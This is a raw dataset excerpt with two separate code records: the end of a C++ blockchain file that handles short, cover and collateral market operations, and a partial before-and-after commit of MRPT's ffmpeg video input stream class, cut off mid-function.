FC_ASSERT( short_index.order_price < market_stat->maximum_bid(), \"\", (\"order\",*this)(\"market_stat\",market_stat) );\n      }\n      else \/\/ if there is no average, there must be a median feed and the short must not be more than 10% above the feed\n      {\n         auto median_delegate_price = eval_state._current_state->get_median_delegate_price( short_index.order_price.quote_asset_id );\n         FC_ASSERT( median_delegate_price.valid() );\n         auto feed_max_short_bid = *median_delegate_price;\n         feed_max_short_bid.ratio *= 10;\n         feed_max_short_bid.ratio \/= 9;\n         FC_ASSERT( short_index.order_price < feed_max_short_bid, \"\", (\"order\",*this)(\"max_short_price\",feed_max_short_bid) );\n      }\n\n      market_stat->bid_depth += delta_amount.amount;\n\n      eval_state._current_state->store_market_status( *market_stat );\n\n      eval_state._current_state->store_short_record( this->short_index, *current_short );\n   }\n\n   \/**\n     pay off part of the USD balance, if balance goes to 0 then close out\n     the position and transfer collateral to proper place.\n     update the call price (remove old value, add new value)\n   *\/\n   void cover_operation::evaluate( transaction_evaluation_state& eval_state )\n   {\n      if( this->cover_index.order_price == price() )\n         FC_CAPTURE_AND_THROW( zero_price, (cover_index.order_price) );\n\n      if( this->amount == 0 && !this->new_cover_price ) \n         FC_CAPTURE_AND_THROW( zero_amount );\n\n      if( this->amount < 0 ) \n         FC_CAPTURE_AND_THROW( negative_deposit );\n\n      asset delta_amount  = this->get_amount();\n\n      if( !eval_state.check_signature( cover_index.owner ) )\n         FC_CAPTURE_AND_THROW( missing_signature, (cover_index.owner) );\n\n      \/\/ subtract this from the transaction\n      eval_state.sub_balance( address(), delta_amount );\n\n      auto current_cover   = eval_state._current_state->get_collateral_record( this->cover_index );\n      if( NOT current_cover )\n         FC_CAPTURE_AND_THROW( unknown_market_order, (cover_index) );\n\n      current_cover->payoff_balance -= delta_amount.amount;\n      \/\/ changing the payoff balance changes the call price... so we need to remove the old record\n      \/\/ and insert a new one.\n      eval_state._current_state->store_collateral_record( this->cover_index, collateral_record() ); \n\n      if( current_cover->payoff_balance > 0 )\n      {\n         auto new_call_price = asset(current_cover->payoff_balance, delta_amount.asset_id) \/\n                               asset((current_cover->collateral_balance*3)\/4, 0);\n\n         if( this->new_cover_price && (*this->new_cover_price > new_call_price) )\n            eval_state._current_state->store_collateral_record( market_index_key( *this->new_cover_price, this->cover_index.owner),\n                                                                *current_cover );\n         else\n            eval_state._current_state->store_collateral_record( market_index_key( new_call_price, this->cover_index.owner),\n                                                                *current_cover );\n      }\n      else \/\/ withdraw the collateral to the transaction to be deposited at owners discretion \/ cover fees\n      {\n         eval_state.add_balance( asset( current_cover->collateral_balance, 0 ) );\n\n         auto market_stat = eval_state._current_state->get_market_status( cover_index.order_price.quote_asset_id, cover_index.order_price.base_asset_id );\n         FC_ASSERT( market_stat, \"this should be valid for there to even be a position to cover\" );\n         market_stat->ask_depth -= current_cover->collateral_balance;\n\n         eval_state._current_state->store_market_status( *market_stat );\n      }\n   }\n\n   void add_collateral_operation::evaluate( transaction_evaluation_state& eval_state )\n   {\n      if( this->cover_index.order_price == price() )\n         FC_CAPTURE_AND_THROW( zero_price, (cover_index.order_price) );\n\n      if( this->amount == 0 ) \n         FC_CAPTURE_AND_THROW( zero_amount );\n\n      if( this->amount < 0 ) \n         FC_CAPTURE_AND_THROW( negative_deposit );\n\n      asset delta_amount  = this->get_amount();\n      eval_state.sub_balance( address(), delta_amount );\n\n      \/\/ update collateral and call price\n      auto current_cover   = eval_state._current_state->get_collateral_record( this->cover_index );\n      if( NOT current_cover )\n         FC_CAPTURE_AND_THROW( unknown_market_order, (cover_index) );\n\n      current_cover->collateral_balance += delta_amount.amount;\n\n      \/\/ changing the payoff balance changes the call price... so we need to remove the old record\n      \/\/ and insert a new one.\n      eval_state._current_state->store_collateral_record( this->cover_index, collateral_record() ); \n\n      auto new_call_price = asset(current_cover->payoff_balance, delta_amount.asset_id) \/\n                            asset((current_cover->collateral_balance*3)\/4, 0);\n\n      eval_state._current_state->store_collateral_record( market_index_key( new_call_price, this->cover_index.owner),\n                                                          *current_cover );\n\n      auto market_stat = eval_state._current_state->get_market_status( cover_index.order_price.quote_asset_id, cover_index.order_price.base_asset_id );\n      FC_ASSERT( market_stat, \"this should be valid for there to even be a position to cover\" );\n      market_stat->ask_depth += delta_amount.amount;\n\n      eval_state._current_state->store_market_status( *market_stat );\n   }\n\n   void remove_collateral_operation::evaluate( transaction_evaluation_state& eval_state )\n   {\n      \/\/ Should this even be allowed?\n   }\n\n} } \/\/ bts::blockchain\n<|endoftext|>"}
{"text":"<commit_before>\/* +------------------------------------------------------------------------+\n   |                     Mobile Robot Programming Toolkit (MRPT)            |\n   |                          https:\/\/www.mrpt.org\/                         |\n   |                                                                        |\n   | Copyright (c) 2005-2021, Individual contributors, see AUTHORS file     |\n   | See: https:\/\/www.mrpt.org\/Authors - All rights reserved.               |\n   | Released under BSD License. See: https:\/\/www.mrpt.org\/License          |\n   +------------------------------------------------------------------------+ *\/\n\n#if defined(__GNUC__)  \/\/ Needed for ffmpeg headers. Only allowed here when not\n\/\/ using precomp. headers\n#define __STDC_CONSTANT_MACROS\t\/\/ Needed for having \"UINT64_C\" and so\n#endif\n\/\/\n#include \"hwdrivers-precomp.h\"\t\/\/ Precompiled headers\n\/\/\n#include <mrpt\/config.h>\n\n#if MRPT_HAS_FFMPEG\nextern \"C\"\n{\n#define _MSC_STDINT_H_\t\/\/ We already have pstdint.h in MRPT\n#include <libavcodec\/avcodec.h>\n#include <libavformat\/avformat.h>\n#include <libavutil\/imgutils.h>\n#include <libswscale\/swscale.h>\n}\n#endif\n\n#include <mrpt\/hwdrivers\/CFFMPEG_InputStream.h>\n\nusing namespace mrpt;\nusing namespace mrpt::hwdrivers;\n\n\/\/ JLBC: This file takes portions of code from the example\n\/\/ \"avcodec_sample.0.4.9.cpp\"\n\/\/\n\/\/ Minimum ffmpeg libs versions we want to support:\n\/\/ Ubuntu 16.04 LTS: avcodec 56.60.100, avutil 54.31.100, avformat 56.40.101\n\/\/ Ubuntu 20.04 LTS: avcodec 58.54.100, avutil 56.31.100, avformat 58.29.100\n\/\/\n#if MRPT_HAS_FFMPEG\nnamespace mrpt::hwdrivers\n{\n\/\/ All context for ffmpeg:\nstruct TFFMPEGContext\n{\n\tAVFormatContext* pFormatCtx{nullptr};\n\tint videoStream{0};\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\tAVCodecParameters* pCodecPars{nullptr};\n#endif\n\tAVCodec* pCodec{nullptr};\n\tAVCodecContext* pCodecCtx{nullptr};\n\tAVFrame* pFrame{nullptr};\n\tAVFrame* pFrameRGB{nullptr};\n\tSwsContext* img_convert_ctx{nullptr};\n\tstd::vector<uint8_t> buffer;\n};\n}  \/\/ namespace mrpt::hwdrivers\n#endif\n\nstruct CFFMPEG_InputStream::Impl\n{\n#if MRPT_HAS_FFMPEG\n\tTFFMPEGContext m_state;\n#endif\n};\n\n\/* --------------------------------------------------------\n\t\t\t\t\tCtor\n   -------------------------------------------------------- *\/\nCFFMPEG_InputStream::CFFMPEG_InputStream()\n#if MRPT_HAS_FFMPEG\n\t: m_impl(mrpt::make_impl<CFFMPEG_InputStream::Impl>())\n{\n\/\/ av_register_all() not needed in ffmpeg >=4.0\n#if LIBAVFORMAT_VERSION_MAJOR < 58\n\t\/\/ Register all formats and codecs\n\tav_register_all();\n#endif\n}\n#else\n{\n\tTHROW_EXCEPTION(\"MRPT has been compiled without FFMPEG libraries.\");\n}\n#endif\n\n\/* --------------------------------------------------------\n\t\t\t\t\tDtor\n   -------------------------------------------------------- *\/\nCFFMPEG_InputStream::~CFFMPEG_InputStream()\n{\n#if MRPT_HAS_FFMPEG\n\t\/\/ Close everything:\n\tthis->close();\n#endif\n}\n\n\/* --------------------------------------------------------\n\t\t\t\t\tisOpen\n   -------------------------------------------------------- *\/\nbool CFFMPEG_InputStream::isOpen() const\n{\n#if MRPT_HAS_FFMPEG\n\tconst TFFMPEGContext* ctx = &m_impl->m_state;\n\treturn ctx->pFormatCtx != nullptr;\n#else\n\treturn false;\n#endif\n}\n\n\/* --------------------------------------------------------\n\t\t\t\t\topenURL\n   -------------------------------------------------------- *\/\nbool CFFMPEG_InputStream::openURL(\n\tconst std::string& url, bool grab_as_grayscale, bool verbose,\n\tconst std::map<std::string, std::string>& optionsMap)\n{\n#if MRPT_HAS_FFMPEG\n\tthis->close();\t\/\/ Close first\n\n\tTFFMPEGContext* ctx = &m_impl->m_state;\n\n\tthis->m_url = url;\n\tthis->m_grab_as_grayscale = grab_as_grayscale;\n\n\tAVDictionary* options = nullptr;  \/\/ \"create\" an empty dictionary\n\tfor (const auto& kv : optionsMap)\n\t\tav_dict_set(&options, kv.first.c_str(), kv.second.c_str(), 0);\n\n\t\/\/ Open video file\n\tif (avformat_open_input(&ctx->pFormatCtx, url.c_str(), nullptr, &options) !=\n\t\t0)\n\t{\n\t\tctx->pFormatCtx = nullptr;\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] Cannot open video: \" << url\n\t\t\t\t  << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Retrieve stream information\n\tif (avformat_find_stream_info(ctx->pFormatCtx, nullptr) < 0)\n\t{\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] Couldn't find stream \"\n\t\t\t\t\t \"information: \"\n\t\t\t\t  << url << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Dump information about file onto standard error\n\tif (verbose) { av_dump_format(ctx->pFormatCtx, 0, url.c_str(), false); }\n\n\t\/\/ Find the first video stream\n\tctx->videoStream = -1;\n\tfor (unsigned int i = 0; i < ctx->pFormatCtx->nb_streams; i++)\n\t{\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\t\tauto codecType = ctx->pFormatCtx->streams[i]->codecpar->codec_type;\n#else\n\t\tauto codecType = ctx->pFormatCtx->streams[i]->codec->codec_type;\n#endif\n\t\tif (codecType == AVMEDIA_TYPE_VIDEO)\n\t\t{\n\t\t\tctx->videoStream = (int)i;\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (ctx->videoStream == -1)\n\t{\n\t\tstd::cerr\n\t\t\t<< \"[CFFMPEG_InputStream::openURL] Didn't find a video stream: \"\n\t\t\t<< url << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Get a pointer to the codec context for the video stream\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\tctx->pCodecPars = ctx->pFormatCtx->streams[ctx->videoStream]->codecpar;\n\t\/\/ Find the decoder for the video stream\n\tctx->pCodec = avcodec_find_decoder(ctx->pCodecPars->codec_id);\n#else\n\tctx->pCodecCtx = ctx->pFormatCtx->streams[ctx->videoStream]->codec;\n\t\/\/ Find the decoder for the video stream\n\tctx->pCodec = avcodec_find_decoder(ctx->pCodecCtx->codec_id);\n#endif\n\tif (ctx->pCodec == nullptr)\n\t{\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] Codec not found: \" << url\n\t\t\t\t  << std::endl;\n\t\treturn false;\n\t}\n\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\tctx->pCodecCtx = avcodec_alloc_context3(nullptr \/*ctx->pCodec*\/);\n\tif (!ctx->pCodecCtx)\n\t{\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] Cannot alloc avcodec \"\n\t\t\t\t\t \"context for: \"\n\t\t\t\t  << url << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Add stream parameters to context\n\tif (avcodec_parameters_to_context(\n\t\t\tctx->pCodecCtx,\n\t\t\tctx->pFormatCtx->streams[ctx->videoStream]->codecpar))\n\t{\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] Failed \"\n\t\t\t\t\t \"avcodec_parameters_to_context() for: \"\n\t\t\t\t  << url << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Make sure that Codecs are identical or  avcodec_open2 fails.\n\tctx->pCodecCtx->codec_id = ctx->pCodec->id;\n#endif\n\n\t\/\/ Open codec\n\tif (avcodec_open2(ctx->pCodecCtx, ctx->pCodec, nullptr) < 0)\n\t{\n\t\tstd::cerr\n\t\t\t<< \"[CFFMPEG_InputStream::openURL] avcodec_open2() failed for: \"\n\t\t\t<< url << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Allocate video frame\n\tctx->pFrame = av_frame_alloc();\n\t\/\/ Allocate an AVFrame structure\n\tctx->pFrameRGB = av_frame_alloc();\n\n\tif (ctx->pFrameRGB == nullptr || ctx->pFrame == nullptr)\n\t{\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] Could not alloc memory \"\n\t\t\t\t\t \"for frame buffers: \"\n\t\t\t\t  << url << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Determine required buffer size and allocate buffer\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\tconst auto width = ctx->pCodecPars->width, height = ctx->pCodecPars->height;\n#else\n\tconst auto width = ctx->pCodecCtx->width, height = ctx->pCodecCtx->height;\n#endif\n\tint numBytes = av_image_get_buffer_size(\n\t\tm_grab_as_grayscale ? AV_PIX_FMT_GRAY8 : AV_PIX_FMT_BGR24, width,\n\t\theight, 1);\n\tif (numBytes < 0)\n\t{\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] av_image_get_buffer_size \"\n\t\t\t\t\t \"error code: \"\n\t\t\t\t  << numBytes << std::endl;\n\t\treturn false;\n\t}\n\n\tctx->buffer.resize(numBytes);\n\n\t\/\/ Assign appropriate parts of buffer to image planes in pFrameRGB\n\n\tav_image_fill_arrays(\n\t\tctx->pFrameRGB->data, ctx->pFrameRGB->linesize, &ctx->buffer[0],\n\t\tm_grab_as_grayscale ? AV_PIX_FMT_GRAY8 : AV_PIX_FMT_BGR24, width,\n\t\theight, 1);\n\n\treturn true;  \/\/ OK.\n#else\n\treturn false;\n#endif\n}\n\n\/* --------------------------------------------------------\n\t\t\t\t\tclose\n   -------------------------------------------------------- *\/\nvoid CFFMPEG_InputStream::close()\n{\n#if MRPT_HAS_FFMPEG\n\tif (!this->isOpen()) return;\n\n\tTFFMPEGContext* ctx = &m_impl->m_state;\n\n\t\/\/ Close the codec\n\tif (ctx->pCodecCtx)\n\t{\n\t\tavcodec_close(ctx->pCodecCtx);\n\t\tctx->pCodecCtx = nullptr;\n\t}\n\n\t\/\/ Close the video file\n\tif (ctx->pFormatCtx)\n\t{\n\t\tavformat_close_input(&ctx->pFormatCtx);\n\t\tctx->pFormatCtx = nullptr;\n\t}\n\n\t\/\/ Free frames memory:\n\tctx->buffer.clear();\n\n\tif (ctx->pFrameRGB)\n\t{\n\t\tav_frame_free(&ctx->pFrameRGB);\n\t\tctx->pFrameRGB = nullptr;\n\t}\n\tif (ctx->pFrame)\n\t{\n\t\tav_frame_free(&ctx->pFrame);\n\t\tctx->pFrame = nullptr;\n\t}\n\n\tif (ctx->img_convert_ctx)\n\t{\n\t\tsws_freeContext(ctx->img_convert_ctx);\n\t\tctx->img_convert_ctx = nullptr;\n\t}\n\n#endif\n}\n\n\/* --------------------------------------------------------\n\t\t\t\t\tretrieveFrame\n   -------------------------------------------------------- *\/\nbool CFFMPEG_InputStream::retrieveFrame(mrpt::img::CImage& out_img)\n{\n#if MRPT_HAS_FFMPEG\n\tif (!this->isOpen()) return false;\n\n\tTFFMPEGContext* ctx = &m_impl->m_state;\n\n\tAVPacket packet;\n\n#if LIBAVFORMAT_VERSION_MAJOR < 57\n\tint frameFinished;\n#endif\n\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\tconst auto width = ctx->pCodecPars->width, height = ctx->pCodecPars->height;\n#else\n\tconst auto width = ctx->pCodecCtx->width, height = ctx->pCodecCtx->height;\n#endif\n\n\twhile (av_read_frame(ctx->pFormatCtx, &packet) >= 0)\n\t{\n\t\t\/\/ Is this a packet from the video stream?\n\t\tif (packet.stream_index != ctx->videoStream)\n\t\t{\n\t\t\tav_packet_unref(&packet);\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Decode video frame\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\t\tint ret = avcodec_send_packet(ctx->pCodecCtx, &packet);\n\t\tif (ret < 0)\n\t\t{\n\t\t\tstd::cerr << std::endl\n\t\t\t\t\t  << \"[CFFMPEG_InputStream] avcodec_send_packet error code=\"\n\t\t\t\t\t  << ret << std::endl\n\t\t\t\t\t  << std::endl;\n\t\t\treturn false;\n\t\t}\n\t\twhile (ret >= 0)\n\t\t{\n\t\t\tret = avcodec_receive_frame(ctx->pCodecCtx, ctx->pFrame);\n\t\t\tif (ret == AVERROR(EAGAIN)) continue;\n\n\t\t\tif (ret == AVERROR_EOF) return false;\n\t\t\telse if (ret < 0)\n\t\t\t{\n\t\t\t\tstd::cerr << std::endl\n\t\t\t\t\t\t  << \"[CFFMPEG_InputStream] avcodec_receive_frame \"\n\t\t\t\t\t\t\t \"error code=\"\n\t\t\t\t\t\t  << ret << std::endl\n\t\t\t\t\t\t  << std::endl;\n\t\t\t\treturn false;\n\t\t\t}\n\n#else\n\t\tavcodec_decode_video2(\n\t\t\tctx->pCodecCtx, ctx->pFrame, &frameFinished, &packet);\n\t\tif (!frameFinished)\n\t\t{\n\t\t\t\/\/ Free the packet that was allocated by av_read_frame\n\t\t\tav_packet_unref(&packet);\n\t\t\tcontinue;\n\t\t}\n#endif\n\t\t\t\/\/ Convert the image from its native format to RGB:\n\t\t\tctx->img_convert_ctx = sws_getCachedContext(\n\t\t\t\tctx->img_convert_ctx, width, height, ctx->pCodecCtx->pix_fmt,\n\t\t\t\twidth, height,\n\t\t\t\tm_grab_as_grayscale ?  \/\/ BGR vs. RGB for OpenCV\n\t\t\t\t\tAV_PIX_FMT_GRAY8\n\t\t\t\t\t\t\t\t\t: AV_PIX_FMT_BGR24,\n\t\t\t\tSWS_BICUBIC, nullptr, nullptr, nullptr);\n\n\t\t\tsws_scale(\n\t\t\t\tctx->img_convert_ctx, ctx->pFrame->data, ctx->pFrame->linesize,\n\t\t\t\t0, height, ctx->pFrameRGB->data, ctx->pFrameRGB->linesize);\n\n\t\t\t\/\/ std::cout << \"[retrieveFrame] Generating image: \" <<\n\t\t\t\/\/ ctx->pCodecPars->width << \"x\" << ctx->pCodecPars->height\n\t\t\t\/\/ << std::endl; std::cout << \"  linsize: \" <<\n\t\t\t\/\/ ctx->pFrameRGB->linesize[0] << std::endl;\n\n\t\t\tif (ctx->pFrameRGB->linesize[0] !=\n\t\t\t\t((m_grab_as_grayscale ? 1 : 3) * width))\n\t\t\t\tTHROW_EXCEPTION(\"FIXME: linesize!=width case not handled yet.\");\n\n\t\t\tout_img.loadFromMemoryBuffer(\n\t\t\t\twidth, height, !m_grab_as_grayscale, ctx->pFrameRGB->data[0]);\n\n\t\t\t\/\/ Free the packet that was allocated by av_read_frame\n\t\t\tav_packet_unref(&packet);\n\t\t\treturn true;\n\t\t}\n\t}\n\n\treturn false;  \/\/ Error reading\/ EOF\n#else\n\treturn false;\n#endif\n}\n\n\/* --------------------------------------------------------\n\t\t\t\t\tgetVideoFPS\n   -------------------------------------------------------- *\/\ndouble CFFMPEG_InputStream::getVideoFPS() const\n{\n#if MRPT_HAS_FFMPEG\n\tif (!this->isOpen()) return -1;\n\n\tconst TFFMPEGContext* ctx = &m_impl->m_state;\n\tif (!ctx) return -1;\n\tif (!ctx->pCodecCtx) return -1;\n\n\treturn double(ctx->pCodecCtx->framerate.num) \/\n\t\tctx->pCodecCtx->framerate.den;\n#else\n\treturn false;\n#endif\n}\n<commit_msg>Fix #1165<commit_after>\/* +------------------------------------------------------------------------+\n   |                     Mobile Robot Programming Toolkit (MRPT)            |\n   |                          https:\/\/www.mrpt.org\/                         |\n   |                                                                        |\n   | Copyright (c) 2005-2021, Individual contributors, see AUTHORS file     |\n   | See: https:\/\/www.mrpt.org\/Authors - All rights reserved.               |\n   | Released under BSD License. See: https:\/\/www.mrpt.org\/License          |\n   +------------------------------------------------------------------------+ *\/\n\n#if defined(__GNUC__)  \/\/ Needed for ffmpeg headers. Only allowed here when not\n\/\/ using precomp. headers\n#define __STDC_CONSTANT_MACROS\t\/\/ Needed for having \"UINT64_C\" and so\n#endif\n\/\/\n#include \"hwdrivers-precomp.h\"\t\/\/ Precompiled headers\n\/\/\n#include <mrpt\/config.h>\n\n#if MRPT_HAS_FFMPEG\nextern \"C\"\n{\n#define _MSC_STDINT_H_\t\/\/ We already have pstdint.h in MRPT\n#include <libavcodec\/avcodec.h>\n#include <libavformat\/avformat.h>\n#include <libavutil\/imgutils.h>\n#include <libswscale\/swscale.h>\n}\n#endif\n\n#include <mrpt\/hwdrivers\/CFFMPEG_InputStream.h>\n\nusing namespace mrpt;\nusing namespace mrpt::hwdrivers;\n\n\/\/ JLBC: This file takes portions of code from the example\n\/\/ \"avcodec_sample.0.4.9.cpp\"\n\/\/\n\/\/ Minimum ffmpeg libs versions we want to support:\n\/\/ Ubuntu 16.04 LTS: avcodec 56.60.100, avutil 54.31.100, avformat 56.40.101\n\/\/ Ubuntu 20.04 LTS: avcodec 58.54.100, avutil 56.31.100, avformat 58.29.100\n\/\/\n#if MRPT_HAS_FFMPEG\nnamespace mrpt::hwdrivers\n{\n\/\/ All context for ffmpeg:\nstruct TFFMPEGContext\n{\n\tAVFormatContext* pFormatCtx{nullptr};\n\tint videoStream{0};\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\tAVCodecParameters* pCodecPars{nullptr};\n#endif\n\tAVCodec* pCodec{nullptr};\n\tAVCodecContext* pCodecCtx{nullptr};\n\tAVFrame* pFrame{nullptr};\n\tAVFrame* pFrameRGB{nullptr};\n\tSwsContext* img_convert_ctx{nullptr};\n\tstd::vector<uint8_t> buffer;\n};\n}  \/\/ namespace mrpt::hwdrivers\n#endif\n\nstruct CFFMPEG_InputStream::Impl\n{\n#if MRPT_HAS_FFMPEG\n\tTFFMPEGContext m_state;\n#endif\n};\n\n\/* --------------------------------------------------------\n\t\t\t\t\tCtor\n   -------------------------------------------------------- *\/\nCFFMPEG_InputStream::CFFMPEG_InputStream()\n#if MRPT_HAS_FFMPEG\n\t: m_impl(mrpt::make_impl<CFFMPEG_InputStream::Impl>())\n{\n\/\/ av_register_all() not needed in ffmpeg >=4.0\n#if LIBAVFORMAT_VERSION_MAJOR < 58\n\t\/\/ Register all formats and codecs\n\tav_register_all();\n#endif\n}\n#else\n{\n\tTHROW_EXCEPTION(\"MRPT has been compiled without FFMPEG libraries.\");\n}\n#endif\n\n\/* --------------------------------------------------------\n\t\t\t\t\tDtor\n   -------------------------------------------------------- *\/\nCFFMPEG_InputStream::~CFFMPEG_InputStream()\n{\n#if MRPT_HAS_FFMPEG\n\t\/\/ Close everything:\n\tthis->close();\n#endif\n}\n\n\/* --------------------------------------------------------\n\t\t\t\t\tisOpen\n   -------------------------------------------------------- *\/\nbool CFFMPEG_InputStream::isOpen() const\n{\n#if MRPT_HAS_FFMPEG\n\tconst TFFMPEGContext* ctx = &m_impl->m_state;\n\treturn ctx->pFormatCtx != nullptr;\n#else\n\treturn false;\n#endif\n}\n\n\/* --------------------------------------------------------\n\t\t\t\t\topenURL\n   -------------------------------------------------------- *\/\nbool CFFMPEG_InputStream::openURL(\n\tconst std::string& url, bool grab_as_grayscale, bool verbose,\n\tconst std::map<std::string, std::string>& optionsMap)\n{\n#if MRPT_HAS_FFMPEG\n\tthis->close();\t\/\/ Close first\n\n\tTFFMPEGContext* ctx = &m_impl->m_state;\n\n\tthis->m_url = url;\n\tthis->m_grab_as_grayscale = grab_as_grayscale;\n\n\tAVDictionary* options = nullptr;  \/\/ \"create\" an empty dictionary\n\tfor (const auto& kv : optionsMap)\n\t\tav_dict_set(&options, kv.first.c_str(), kv.second.c_str(), 0);\n\n\t\/\/ Open video file\n\tif (avformat_open_input(&ctx->pFormatCtx, url.c_str(), nullptr, &options) !=\n\t\t0)\n\t{\n\t\tctx->pFormatCtx = nullptr;\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] Cannot open video: \" << url\n\t\t\t\t  << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Retrieve stream information\n\tif (avformat_find_stream_info(ctx->pFormatCtx, nullptr) < 0)\n\t{\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] Couldn't find stream \"\n\t\t\t\t\t \"information: \"\n\t\t\t\t  << url << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Dump information about file onto standard error\n\tif (verbose) { av_dump_format(ctx->pFormatCtx, 0, url.c_str(), false); }\n\n\t\/\/ Find the first video stream\n\tctx->videoStream = -1;\n\tfor (unsigned int i = 0; i < ctx->pFormatCtx->nb_streams; i++)\n\t{\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\t\tauto codecType = ctx->pFormatCtx->streams[i]->codecpar->codec_type;\n#else\n\t\tauto codecType = ctx->pFormatCtx->streams[i]->codec->codec_type;\n#endif\n\t\tif (codecType == AVMEDIA_TYPE_VIDEO)\n\t\t{\n\t\t\tctx->videoStream = (int)i;\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (ctx->videoStream == -1)\n\t{\n\t\tstd::cerr\n\t\t\t<< \"[CFFMPEG_InputStream::openURL] Didn't find a video stream: \"\n\t\t\t<< url << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Get a pointer to the codec context for the video stream\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\tctx->pCodecPars = ctx->pFormatCtx->streams[ctx->videoStream]->codecpar;\n\t\/\/ Find the decoder for the video stream\n\tctx->pCodec = avcodec_find_decoder(ctx->pCodecPars->codec_id);\n#else\n\tctx->pCodecCtx = ctx->pFormatCtx->streams[ctx->videoStream]->codec;\n\t\/\/ Find the decoder for the video stream\n\tctx->pCodec = avcodec_find_decoder(ctx->pCodecCtx->codec_id);\n#endif\n\tif (ctx->pCodec == nullptr)\n\t{\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] Codec not found: \" << url\n\t\t\t\t  << std::endl;\n\t\treturn false;\n\t}\n\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\tctx->pCodecCtx = avcodec_alloc_context3(nullptr \/*ctx->pCodec*\/);\n\tif (!ctx->pCodecCtx)\n\t{\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] Cannot alloc avcodec \"\n\t\t\t\t\t \"context for: \"\n\t\t\t\t  << url << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Add stream parameters to context\n\tif (avcodec_parameters_to_context(\n\t\t\tctx->pCodecCtx,\n\t\t\tctx->pFormatCtx->streams[ctx->videoStream]->codecpar))\n\t{\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] Failed \"\n\t\t\t\t\t \"avcodec_parameters_to_context() for: \"\n\t\t\t\t  << url << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Make sure that Codecs are identical or  avcodec_open2 fails.\n\tctx->pCodecCtx->codec_id = ctx->pCodec->id;\n#endif\n\n\t\/\/ Open codec\n\tif (avcodec_open2(ctx->pCodecCtx, ctx->pCodec, nullptr) < 0)\n\t{\n\t\tstd::cerr\n\t\t\t<< \"[CFFMPEG_InputStream::openURL] avcodec_open2() failed for: \"\n\t\t\t<< url << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Allocate video frame\n\tctx->pFrame = av_frame_alloc();\n\t\/\/ Allocate an AVFrame structure\n\tctx->pFrameRGB = av_frame_alloc();\n\n\tif (ctx->pFrameRGB == nullptr || ctx->pFrame == nullptr)\n\t{\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] Could not alloc memory \"\n\t\t\t\t\t \"for frame buffers: \"\n\t\t\t\t  << url << std::endl;\n\t\treturn false;\n\t}\n\n\t\/\/ Determine required buffer size and allocate buffer\n#if LIBAVFORMAT_VERSION_MAJOR >= 57\n\tconst auto width = ctx->pCodecPars->width, height = ctx->pCodecPars->height;\n#else\n\tconst auto width = ctx->pCodecCtx->width, height = ctx->pCodecCtx->height;\n#endif\n\tint numBytes = av_image_get_buffer_size(\n\t\tm_grab_as_grayscale ? AV_PIX_FMT_GRAY8 : AV_PIX_FMT_BGR24, width,\n\t\theight, 1);\n\tif (numBytes < 0)\n\t{\n\t\tstd::cerr << \"[CFFMPEG_InputStream::openURL] av_image_get_buffer_size \"\n\t\t\t\t\t \"error code: \"\n\t\t\t\t  << numBytes << std::endl;\n\t\treturn false;\n\t}\n\n\tctx->buffer.resize(numBytes);\n\n\t\/\/ Assign appropriate parts of buffer to image planes in pFrameRGB\n\n\tav_image_fill_arrays(\n\t\tctx->pFrameRGB->data, ctx->pFrameRGB->linesize, &ctx->buffer[0],\n\t\tm_grab_as_grayscale ? AV_PIX_FMT_GRAY8 : AV_PIX_FMT_BGR24, width,\n\t\theight, 1);\n\n\treturn true;  \/\/ OK.\n#else\n\treturn false;\n#endif\n}\n\n\/* --------------------------------------------------------\n\t\t\t\t\tclose\n   -------------------------------------------------------- *\/\nvoid CFFMPEG_InputStream::close()\n{\n#if MRPT_HAS_FFMPEG\n\tif (!this->isOpen()) return;\n\n\tTFFMPEGContext* ctx = &m_impl->m_state;\n\n\t\/\/ Close the codec\n\tif (ctx->pCodecCtx)\n\t{\n\t\tavcodec_close(ctx->pCodecCtx);\n\t\tctx->pCodecCtx = nullptr;\n\t}\n\n\t\/\/ Close the video file\n\tif (ctx->pFormatCtx)\n\t{\n\t\tavformat_close_input(&ctx->pFormatCtx);\n\t\tctx->pFormatCtx = nullptr;\n\t}\n\n\t\/\/ Free frames memory:\n\tctx->buffer.clear();\n\n\tif (ctx->pFrameRGB)\n\t{\n\t\tav_frame_free(&ctx->pFrameRGB);\n\t\tctx->pFrameRGB = nullptr;\n\t}\n\tif 